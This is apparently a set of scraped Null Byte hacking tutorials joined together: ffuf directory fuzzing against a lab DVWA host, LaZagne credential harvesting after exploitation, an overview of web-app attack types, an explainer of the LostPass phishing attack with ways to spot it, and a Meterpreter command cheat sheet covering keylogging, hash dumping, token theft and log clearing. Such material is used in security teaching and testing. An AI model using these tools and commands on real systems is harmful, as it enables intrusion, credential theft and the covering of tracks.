URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ .hta [Status: 403, Size: 292, Words: 22, Lines: 11] .htaccess [Status: 403, Size: 297, Words: 22, Lines: 11] .htpasswd [Status: 403, Size: 297, Words: 22, Lines: 11] README [Status: 200, Size: 4934, Words: 637, Lines: 120] ...If we want to run faster, we can set the number of threads to use (default is 40).~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.0.50/dvwa/FUZZ -t 60 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 60 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ README [Status: 200, Size: 4934, Words: 637, Lines: 120] .hta [Status: 403, Size: 292, Words: 22, Lines: 11] .htpasswd [Status: 403, Size: 297, Words: 22, Lines: 11] .htaccess [Status: 403, Size: 297, Words: 22, Lines: 11] config [Status: 301, Size: 319, Words: 21, Lines: 10] ...For simpler viewing in the terminal, we can use the-sflag to only print the found objects and none of the other noise.~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.0.50/dvwa/FUZZ -s .htpasswd README config docs external favicon.ico about ...This is useful if we wanted to grep any output or use the results in ascriptor something, not to mention it's just a bit cleaner.We can also save any results to a file using the-oswitch.~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.0.50/dvwa/FUZZ -o results.txt /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Output file : results.txt :: File format : json :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ .hta [Status: 403, Size: 292, Words: 22, Lines: 11] .htpasswd [Status: 403, Size: 297, Words: 22, Lines: 11] README [Status: 200, Size: 4934, Words: 637, Lines: 120] ...The default format is JSON, but we can change that with the-offlag. For example, to save the results in HTML format, try:~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.0.50/dvwa/FUZZ -o results.txt -of html /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Output file : results.txt :: File format : html :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ .htaccess [Status: 403, Size: 297, Words: 22, Lines: 11] .hta [Status: 403, Size: 292, Words: 22, Lines: 11] .htpasswd [Status: 403, Size: 297, Words: 22, Lines: 11] README [Status: 200, Size: 4934, Words: 637, Lines: 120] ...Wrapping UpIn this tutorial, we learned a bit about fuzzing and how to use a tool called ffuf to fuzz for directories, parameters, and more. First, we installed the tool and configured it to run on our system. Next, we covered some basic fuzzing, including fuzzing GET requests, POST requests, and parameters. Finally, we concluded with some filtering and timing options for more fine-grained control. Hopefully, you find ffuf as valuable as we do!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byLogan Kirschner/Pexels; Screenshots by drd_/Null ByteRelatedHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)How To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHack Like a Pro:How to Build Your Own Exploits, Part 3 (Fuzzing with Spike to Find Overflows)How To:The Art of 0-Day Vulnerabilities, Part2: Manually FuzzingHow To:Scan Websites for Interesting Directories & Files with GobusterHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)How To:Discover Hidden HTTP Parameters to Find Weaknesses in Web AppsHow To:Perform Directory Traversal & Extract Sensitive InformationHow To:Exploit Development-Everything You Need to KnowHow To:Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra)How To:Search in Twitter Using Parameters Without Log InHow To:Search in Twitter Using Parameters Without Sign UpHow To:Circuit bend a Yamaha PortaSound PSS-80 keyboard with 10 modificationsHow To:Create Rainbow Tables for Hashing Algorithms Like MD5, SHA1 & NTLMHow To:Embed & Customize a YouTube Video for Your WebsiteHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)How To:Audit Web Applications & Servers with TishnaHow To:Create a Metasploit Exploit in Few MinutesHow To:Break into Router Gateways with PatatorHow To:Use Websploit to Scan Websites for Hidden DirectoriesHow To:Use Facial Recognition to Conduct OSINT Analysis on Individuals & CompaniesHow To:Configure a 3D camera rig with the proper interaxial distance and parametersHow To:Find Hidden Web Directories with DirsearchHack Like a Pro:How to Find Directories in Websites Using DirBusterHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 3 (Managing Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)News:Brazil keeps getting away with more than two hands.How To:Start With Site Setting For Snoft Article Directory ScriptNews:Cup Cakes In Trouble A Taveling Night MareNews:First Steps of Compiling a Program in LinuxNews:Blog search directoryGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Download and Install the Minecraft 1.8 Pre-ReleaseNews:Movie Posters from KoreaNews:Here's Our Answer! It Is Mathematically Impossible That We Are Alone.News:Can bad lawyer commercials turn out any good?How To:Create shared parameters in Revit Architecture
How to Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagne « Null Byte :: WonderHowTo
After exploiting a vulnerable target, scooping up a victim's credentials is a high priority for hackers, since most people reuse passwords. Those credentials can get hackers deeper into a network or other accounts, but digging through the system by hand to find them is difficult. A missed stored password could mean missing a big opportunity. But the process can largely be automated withLaZagne.LaZagne is good for both hackers and pentesters. And the benefit of LaZagne is that it works on Linux, Windows, and macOS, so anyone can practice using it, and it applies to almost every target. LaZagne is included in the remote access toolPupyas a post exploitation module, but we can also use it on its own.Don't Miss:How to Use Pupy a Linux Remote Access ToolThere's alsoa standalone Windows PE(Preinstallation Environment) of LaZagne, which makes an excellent addition to the windows-binaries folder in Kali Linux.LaZagne is still in active development and currently supports enumerating passwords from a large set of Windows applications. While definitely still useful, it's a little bit lacking on Linux. A list of the supported applications is below.Image by AlessandroZ/GitHubThere's some interesting stuff on there that many password recovery tools might overlook. For example, some games. The odds of running across a host withRogue's Taleinstalled might be low, but if it's there, it's good to have a tool that can recover a password for it. Having a shell is great, but having actual credentials is better! With that said, let's take a look at LaZagne.Step 1: Get LaZagneIf you're looking to use LaZagne on a Linux machine, Alessandro (the author) recommends using the Pupy module. He seems to be focusing his development time on the Windows version of LaZagne, so we'll be grabbing the standalone Windows version here.The reason for using the standalone version on Windows hosts is pretty straightforward — Python isn't installed by default on Windows. Using the standalone version guarantees we will be able to use LaZagne across Windows hosts.Don't Miss:Capturing WPA Passwords by Targeting Users with a Fluxion AttackYou can download the standalone versionon GitHub. Once you have it, use the terminal to extract it and move it to your windows-binaries folder in Kali Linux with the commands below.unzip Windows.zipcd Windowscp laZagne.exe /usr/share/windows-binaries/First, weunzipthe archive, thenchange directoriesinto the unzipped directory, then wecopyLaZagne into the windows-binaries directory on our Kali Linux system.Now that we have LaZagne in our windows-binaries collection, let's take a look at actually using LaZagne.Step 2: Enumerate PasswordsLaZagne is a post-exploitation tool, which means that in order to use it, we'll need to already have access to a host via a shell, or at the minimum, command execution.Don't Miss:'Beast' Cracks Billions of Passwords in SecondsLaZagne is non-interactive and can be run in even the most bare-minimum of shells. Since the focus of this article is the standalone Windows PE, let's go ahead and have a look at some of the options.There's a lot of available modules here. In order to gather Wi-Fi or Windows credentials, we'll need to run as administrator, but even without administrator access, we can still gather up some passwords.Don't Miss:How to Create Stronger PasswordsWe could specify which module we want to use, but LaZagne includes a convenientalloption. Obviously, I want all the passwords I can get my hands on, so I'll be using LaZagne with thealloption.lazagne allLooks like we collected quite a few credentials. Another interesting feature of LaZagne is a rudimentary brute-forcing capability. If LaZagne is passeda wordlist, it will attempt to brute-force Mozilla master passwords, system hashes, etc. To pass a dictionary file, simply add the path argument.lazagne all -path wordlist.txtThat's all there is to it!Don't Miss:How to Crack Passwords, Part 1 (Principles & Technologies)Step 3: Defend Against the AttackAs you can see, it only took a moment to pull several passwords. This tool shows how important it isto use secure passwordsand to never reuse passwords in other accounts whenever possible. An attacker gaining access to one of your passwords shouldn't mean they have access to all of your accounts.Since this tool exists as part of a post-exploit framework, you can expect it to pop up in other tools as an effective way of burrowing into a user's system or life. To defend against this, it's best to ensure you also ensure your antivirus is up to date, as one of our Null Byte users reports it's almost instantly detected by most antivirus programs. You must be an administrator to do dump Windows hashes, so limiting access to admin accounts can also help.Future Growth & ApplicationsThis tool is a piece of cake to work with, and it gets results, extracting passwords from web applications that have been saved in browsers as well as databases, email accounts, wireless configurations, and chat clients. The modular design means that adding your own targets to this utility shouldn't be too difficult.This is a tool I'd personally like to see expanded to cover even more applications, and I expect it will if development stays steady. I'm excited to see where it goes!If you have any questions or comments, you can post away here, or you can also reach me on Twitter at@0xBarrow. As always, follow us on social media for more tips and tricks!Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Barrow/Null ByteRelatedHow To:Find Saved WiFi Passwords in WindowsHow To:Recover a Lost WiFi Password from Any DeviceHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Recover Forgotten Wi-Fi Passwords in WindowsHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterHow To:Connect to Protected Wi-Fi Hotspots for Free Without Any PasswordsHow To:Find Stored Usernames, Emails, & Passwords on SafariHow To:Use Acccheck to Extract Windows Passwords Over NetworksHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Manage Stored Passwords So You Don't Get HackedHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Break into Router Gateways with PatatorHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Build an FTP Password Sniffer with Scapy and PythonSPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Intercept Images from a Security Camera Using WiresharkHow to Meterpreter:Obtaining User Credentials with PowerShellHow To:Everything You Need to Disable in Windows 10How To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Crack Wi-Fi Passwords with Your Android Phone and Get Free Internet!How To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Crack Wi-Fi Passwords—For Beginners!How To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityAndroid for Hackers:How to Exfiltrate WPA2 Wi-Fi Passwords Using Android & PowerShellHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:log on Windows 7 with username & passwordHow To:Carve Saved Passwords Using CainHow To:Remove a Windows Password with a Linux Live CDHow To:Get Free Wi-Fi from Hotels & MoreHow To:Add Ctrl+Alt+Delete to Windows 7 Logon
Hack Like a Pro: How to Hack Web Apps, Part 1 (Getting Started) « Null Byte :: WonderHowTo
Welcome back, my budding hackers!With this article, I am initiating a new series thatsomany of you have been asking for:Hacking Web Applications.In previous tutorials, we have touched on some of the techniques and tools for web app hacking. We looked atweb app vulnerability testing,website cloning,web app footprinting,web app password cracking, and many others. In this series, we will begin with the basics and slowly advance to more advanced techniques and tools. This is likely to be a very long series.Let's begin by first giving you links to what we have already covered and then proceed to the basics of the attack vectors for web applications.Vulnerability scanning with NiktoVulnerability scanning and backend mapping with WiktoWeb application password cracking with Burp Suite and THC-HydraScraping potential passwords with CeWLSQL injection with sqlmapUsing BeEF to control the user's browserCross-site scripting (XSS) with MetasploitFinding website directories with DirBusterHacking web applications and this series can be broken into several areas.Mapping the Server & ApplicationLike any hack, the more we know about the target, the better our chances of success. In the case of web applications, we probably want to know the target OS, the web server, and the various technologies supporting the web application.In addition, mapping the application might include enumerating content and functionality, analyzing the application, identifying the server-side functionality, and mapping the attack surface. It's essential that we do this first and accurately before proceeding to any attack.Web Application Attack VectorsAlthough there are literally hundreds of ways of hacking web applications, they can be grouped into eight (8) basic types.Hacking Client Side ControlsOne of the most popular areas of web app hacking is attacking the client-side controls. In this regard, we will look at transmitting data via the client and capturing user data.Hacking AuthenticationWe have looked briefly at hacking web app authentication withTHC-Hydra and Burp Suite, but we will look at some other authentication tools as well as bypassing authentication such as capturing tokens and replaying them, client-side piggybacking, and cross-site request forgery.Hacking Session ManagementWe will look at ways to hack the application's session management. Session management enables an application to uniquely identify a user across multiple requests. When a user logs in, session management enables the user to interact with the web app without having to re-authenticate for every request. Due to its key role, if we can break the application's session management we can bypass the authentication. Thereby, we won't need to crack the username and password to gain access.Hacking Access Controls & AuthorizationIn this area, we will examine how to fingerprint ACLs and attack the ACLs in ways that will allow us to violate the ACLs.Hacking Back End ComponentsWe have done a bit of back-end hacking such asSQL injection with sqlmap, but we will expand this area with new SQLi tools and also attack and inject XPATH and LDAP. We will also look at path or directory traversal, file inclusion vulnerabilities, XML, and SOAP injection.Hacking the UserHacking the user is one of my favorite web app hacks. Technically, it's not web app hacking as we are actually hacking the end user, not the web app, by getting them to travel to our website and load malware to their browser and potentially their system. These techniques include cross-site scripting (XSS), cross-site request forgery, attacking the browser, andviolations of the same origin policy.Hacking the Web Application ManagementIn many cases, the web applications have a management console or other management interface. If we can access that console or interface, we can conceivably change everything about the website including defacing it.Hacking the Web ServerIn some cases, we can hack the underlying server of the web applications such as Microsoft's Internet Information Server (IIS), the Apache Project's Apache server, or Nginx. If we can gain control and access to the underlying server, it may give us an entry point to the web applications.Keep coming back, my budding hackers, as we expand our repertoire of hacking tools and techniques to include web app hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Best Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHow To:Perform Quick Actions with Custom Status Bar GesturesHack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)How To:The Safest Way to Disable ALL Bloatware on Your Galaxy S10How To:Get Nokia's Exclusive Camera App with Pro Mode on Any AndroidHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How To:If You're Seeing Lock Screen 'DU' Malware When Charging, Uninstall These Apps Right NowNews:10 Great 99 Cent Apps You Need on Your Android Right NowHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)How To:Force Restart Your iPhone 11, 11 Pro, or 11 Pro Max When It's Acting UpNews:The 5 Best Apps for Scanning Text & Documents on AndroidHow To:Hack web browsers with BeEFHow To:Launch Apps, Tasks, & Websites Directly from Your iPhone's Notification CenterHow To:A Security Bug Just Made It Risky to Open Links on Your iPhone—Here's How to Protect YourselfNews:Now You Can Fix Your Apple Device with a Little Help from Their Support AppNews:Make Use of Your Bigger Screen with These 12 Tablet-Ready AppsHow To:Save Custom Shooting Presets in Filmic Pro So You Don't Have to Adjust Settings Later for Similar ShotsHow To:Copy, Share & Search Text from Almost Anywhere in Chrome on AndroidHow To:The Safest Way to Disable All Bloatware on Your Galaxy S9 or S9+How To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:10 Life Hacks That'll Make Your Life Easier & Stress-FreeHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)News:Revamped Video Tab Testing Shows Facebook Really Wants to Compete with YouTubeHow To:Generate Viral Memes Like a Pro with These Apps for Your iPhoneHow To:Temporarily Disable Your Instagram Account When You Need to Take an #InstaBreakHow To:Change Your Step Count Goal in Samsung HealthHow To:Get LED Color Effects for Music Playing on Your AndroidNews:What to Expect from Null Byte in 2015How To:Never Get Raided Again in Clash of Clans for Android Using This HackHow To:Launch Apps from the Side of Your Screen (A Perfect Mod for the Galaxy S6 Edge)How To:The Official Google+ Insider's Guide IndexHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceCommunity Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingNull Byte:Never Let Us DieTHE FILM LAB:Intro to Final Cut Pro - 02Community Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker Training
This LastPass Phishing Hack Can Steal All Your Passwords—Here's How to Prevent It « Null Byte :: WonderHowTo
If you want to keep your online world secure, your best bet is to have a different password for every site and service that you use, and to make sure each of the passwords are comprised of random characters instead of familiar words or numbers. But this obviously creates a problem—how exactly are we supposed to remember all of these complicated passwords?This is wherepassword management serviceslikeLastPasscome into play. You simply remember one secure password and the service remembers the rest. Enter the one true password when prompted, then the service will auto-populate the password for the site you're visiting. Sounds safe, right?On the surface, sure. LastPass has solid security measures that prevent someone from being able to brute-force attack your account and unlock your master password. But now, thanks to some clever new phishing sites, you might unwittingly hand the password over yourself—meaning every login credential for every service stored on LastPass could be stolen.LostPass: The LastPass Phishing Clone That Could Fool AnybodyDeveloperSean Cassidyhas created a phishing tool that perfectly clones the LastPass expired login prompt, and he named the toolLostPass. It detects when the user has LastPass installed, then displays a "session expired" message on the phishing site that prompts you to log back into LastPass.This is where LostPass gets really nasty. When you enter your user name and password on the following screen, LostPass immediately hijacks your account. The user name (email address) and master password are sent upstream to the attacker's server, so the bulk of the damage is already done.At this point, if you have two-factor authentication enabled on your LastPass account, you'll be prompted to enter your verification code. As with the "session expired" message and the login prompt, this interface is virtually identical to the official LastPass prompt.Now LostPass has everything it needs to take total control over your account. It uses the login info and two-factor authentication token it just stole to create a backdoor into your account by way of the LastPass "Emergency contact" feature, then sets the attacker's server as a trusted device to prevent any email notifications. To put it simply, all of your passwords are now compromised, and you probably have no idea that this just happened.Note: As Sean statedon his blog, "LastPass now requires email confirmation for all logins from new IPs. This substantially mitigates LostPass, but does not eliminate it." So, it's a small chance that you might get hacked, but it's still a chance if there'sa clever, persistent hackerbehind the wheel.How to Make Sure You Don't Get TrickedLostPass works because it's almost a perfect replica of the official LastPass interface—but there are some subtle distinguishing elements. Depending on if you're using Chrome or Firefox as your browser, there are two different ways to spot this phishing attack, and I'll outline both below.Spotting LostPass on ChromeIf you're using Chrome as your browser, spotting a LostPass phishing site takes a keen eye. The only real difference is in the URL bar—the address for the LastPass login prompt will start withchrome-extensionif it's legit, but it will start withchrome-extension.pw, or something similar, if it's a LostPass phishing attempt.Spotting LostPass on FirefoxA phishing attempt would be a bit easier to spot on Firefox, since the official LastPass login prompt is a floating window, whereas the LostPass phishing prompt is embedded into the webpage. The interface will look virtually identical, but if you can't freely move the pop-up window, you're dealing with a phishing attempt.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)How To:It's Really No Contest — LastPass Is the Best Password Manager for iPhone & AndroidHow To:Use Biometrics to Change Your LastPass Master Password from Your PhoneHow To:Dashlane & LastPass Can Now Automatically Strengthen All of Your Weak PasswordsHacking macOS:How to Dump 1Password, KeePassX & LastPass Passwords in PlaintextHow To:LastPass's AutoFill API Is Finally Out of Beta - Here's How Oreo Users Can Turn It OnNews:The 25 Worst Passwords That People Used in 2015How To:The 4 Best Password Managers for AndroidHow To:Drop Everything! Here's How to Secure Your Data After Heartbleed: The Worst Web Security Flaw EverNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Change These Settings Now to Protect Your Data in Case Your Phone Is StolenHow To:Use Google's Advanced Protection Program to Secure Your Account from PhishingHow To:Have Your Passwords Ever Been Leaked Online? Find Out with PwnedListNews:Why You Still Shouldn't Use iCloud Keychain to Store Your Passwords in iOS 12How To:Use the LastPass Password ManagerHow To:Have Your Friends Ever Used Pandora on Your Computer? Well, You Can Steal Their PasswordsHow To:The 4 Best Password Managers for iPhoneHow To:Use Third-Party Password Managers with iOS 12's AutoFill FeatureHow To:Your Phone's Biggest Security Weakness Is Its Data Connection — Here's How to Lock It DownHow To:Easily Generate Hundreds of Phishing DomainsHow To:Keep track of your passwords on an Android phone with the LastPass appHow To:Manage Stored Passwords So You Don't Get HackedHow To:The 5 Best Two-Factor Authentication Apps for iPhone & AndroidHow To:Phish Social Media Sites with SocialFishHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHow To:Password-Protect Your Pages Documents So Only You & Allowed Collaborators Can Access ThemHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow To:The Safe & Secure Way to Get Your Phone to Remember Your App PasswordsHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:4 Apps to Help Keep Your Android Device SecureHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:LastPass Form Fill DemonstrationSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItNews:Delitos informaticos. Phishing, en 3 minutos.How To:Carve Saved Passwords Using CainGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker Training
Hack Like a Pro: The Ultimate Command Cheat Sheet for Metasploit's Meterpreter « Null Byte :: WonderHowTo
I've donenumerous tutorialsin Null Byte demonstrating the power ofMetasploit's meterpreter. With the meterpreter on the target system, you have nearly total command of the victim.As a result, several of you have asked me for a complete list of commands available for the meterpreter because there doesn't seem to be a complete list anywhere on the web. So here it goes. Hack a system and have fun testing out these commands.Step 1: Core CommandsAt its most basic use, meterpreter is a Linux terminal on the victim's computer. As such, many of our basic Linux commands can be used on the meterpreter even if it's on a Windows or other operating system. Here are some of the core commands we can use on the meterpreter:? help menu background moves the current session to the background bgkill kills a background meterpreter script bglist provides a list of all running background scripts bgrun runs a script as a background thread channel displays active channels close closes a channel exit terminates a meterpreter session exploit executes the meterpreter script designated after it help help menu interact interacts with a channel irb go into Ruby scripting mode migrate moves the active process to a designated PID quit terminates the meterpreter session read reads the data from a channel run executes the meterpreter script designated after it use loads a meterpreter extension write writes data to a channelStep 2: File System Commandscat read and output to stdout the contents of a file cd change directory on the victim del delete a file on the victim download download a file from the victim system to the attacker system edit edit a file with vim getlwd print the local directory getwd print working directory lcd change local directory lpwd print local directory ls list files in current directory mkdir make a directory on the victim system pwd print working directory rm delete (remove) a file rmdir remove directory on the victim system upload upload a file from the attacker system to the victimStep 3: Networking Commandsipconfig displays network interfaces with key information including IP address, etc. portfwd forwards a port on the victim system to a remote service route view or modify the victim routing tableStep 4: System Commandsclearev clears the event logs on the victim's computer drop_token drops a stolen token execute executes a command getpid gets the current process ID (PID) getprivs gets as many privileges as possible getuid get the user that the server is running as kill terminate the process designated by the PID ps list running processes reboot reboots the victim computer reg interact with the victim's registry rev2self calls RevertToSelf() on the victim machine shell opens a command shell on the victim machine shutdown shuts down the victim's computer steal_token attempts to steal the token of a specified (PID) process sysinfo gets the details about the victim computer such as OS and nameStep 5: User Interface Commandsenumdesktops lists all accessible desktops getdesktop get the current meterpreter desktop idletime checks to see how long since the victim system has been idle keyscan_dump dumps the contents of the software keylogger keyscan_start starts the software keylogger when associated with a process such as Word or browser keyscan_stop stops the software keylogger screenshot grabs a screenshot of the meterpreter desktop set_desktop changes the meterpreter desktop uictl enables control of some of the user interface componentsStep 6: Privilege Escalation Commandsgetsystem uses 15 built-in methods to gain sysadmin privilegesStep 7: Password Dump Commandshashdump grabs the hashes in the password (SAM) fileNote that hashdump will often trip AV software, but there are now two scripts that are more stealthy,run hashdumpandrun smart_hashdump. Look for more on those in mymeterpreter script cheat sheet.Step 8: Timestomp Commandstimestomp manipulates the modify, access, and create attributes of a fileStay Tuned for More Meterpreter TipsI've already used many of these commands inprevious tutorials, and I will be using more in future guides as well to show you how they work. Also, bookmark this page as it is possibly the most complete cheat sheet of meterpreter commands found anywhere on the web, so you'll want it to refer back to this sheet often.Finally, check outmy second meterpreter cheat sheetwith the 135 scripts available for the meterpreter to continue hacking with metasploit.Follow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Justin Meyers/Null ByteRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)How To:Use Meterpeter on OS XHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)How To:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlHow To:Run an VNC Server on Win7Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PCHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHow To:Get Root Access on OS X 